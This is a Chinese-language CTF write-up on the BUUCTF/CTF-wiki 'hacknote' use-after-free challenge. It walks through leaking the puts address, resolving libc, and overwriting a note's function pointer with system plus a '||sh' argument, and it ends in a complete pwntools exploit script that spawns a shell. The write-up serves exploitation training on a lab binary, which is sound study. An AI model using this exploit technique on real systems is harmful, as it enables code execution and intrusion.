这是wiki上讲uaf的例题也是buu上一道题目
    image.png
    delete里面只是free掉块的内容
    image.png
    image.png
    checksec了没有pie还有可以改got表,所以其实只要改got表就行

    1. creat(0x10,'aaaa')
    2. creat(0x10,'bbbb')

    image.png
    有一个控制堆块,ida里是哪部分呢?
    image.png
    这几句的代码决定的,会存在这么一个东西

    1. free(1)
    2. free(0)
    3. #pause()
    4. payload = p32(0x0804862b)+p32(puts_got)
    5. creat(0x8,payload)
    6. pause()

    image.png
    所以现在有puts的真实地址,只要print一下就能出来
    然后就是libc过程

    1. puts_addr = u32(io.recv(4))
    2. log.success('puts:{}'.format(hex(puts_addr)))
    3. free(2)
    4. #pause()
    5. libc=LibcSearcher('puts',puts_addr)
    6. libc_base = puts_addr - libc.dump('puts')
    7. system_addr = libc_base + libc.dump('system')
    8. log.success('system:{}'.format(hex(system_addr)))
    9. binsh_addr = libc_base + libc.dump('str_bin_sh')

    最后还有一个坑
    image.png
    image.png
    这两句,导致了为什么puts就能直接把内容打印出来,而改成system后参数变成了&system+/bin/sh\x00
    所以我们最后可以改成’||sh\x00”
    ||就是那c语言中的或

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. io =process('./hacknote')
    6. #io = remote("node4.buuoj.cn",29891)
    7. elf = ELF('./hacknote')
    8. #libc = ELF('libc-2.27.so')
    9. puts_got = elf.got['puts']
    10. free_got = elf.got['free']
    11. puts_plt = elf.plt['puts']
    12. gdb.attach(io)
    13. def creat(size,value1):
    14. io.recvuntil('Your choice :')
    15. io.sendline('1')
    16. io.recvuntil('Note size :')
    17. io.sendline(str(size))
    18. io.recvuntil('Content :')
    19. io.sendline(value1)
    20. io.recvuntil('Success !')
    21. def free(index):
    22. io.recvuntil('Your choice :')
    23. io.sendline('2')
    24. io.recvuntil('Index :')
    25. io.sendline(str(index))
    26. io.recvuntil('Success')
    27. def show(id):
    28. io.recvuntil('Your choice :')
    29. io.sendline('3')
    30. io.recvuntil('Index :')
    31. io.sendline(str(id))
    32. creat(0x10,'aaaa')
    33. creat(0x10,'bbbb')
    34. #pause()
    35. free(1)
    36. free(0)
    37. #pause()
    38. payload = p32(0x0804862b)+p32(puts_got)
    39. creat(0x8,payload)
    40. pause()
    41. show(1)
    42. puts_addr = u32(io.recv(4))
    43. log.success('puts:{}'.format(hex(puts_addr)))
    44. free(2)
    45. #pause()
    46. libc=LibcSearcher('puts',puts_addr)
    47. libc_base = puts_addr - libc.dump('puts')
    48. system_addr = libc_base + libc.dump('system')
    49. log.success('system:{}'.format(hex(system_addr)))
    50. binsh_addr = libc_base + libc.dump('str_bin_sh')
    51. #libcbase = puts_addr - libc.sym['puts']
    52. #system_addr = libcbase +libc.sym['system']
    53. payload = p32(system_addr)+'||sh'
    54. creat(0x8,payload)
    55. #pause()
    56. show(1)
    57. io.interactive()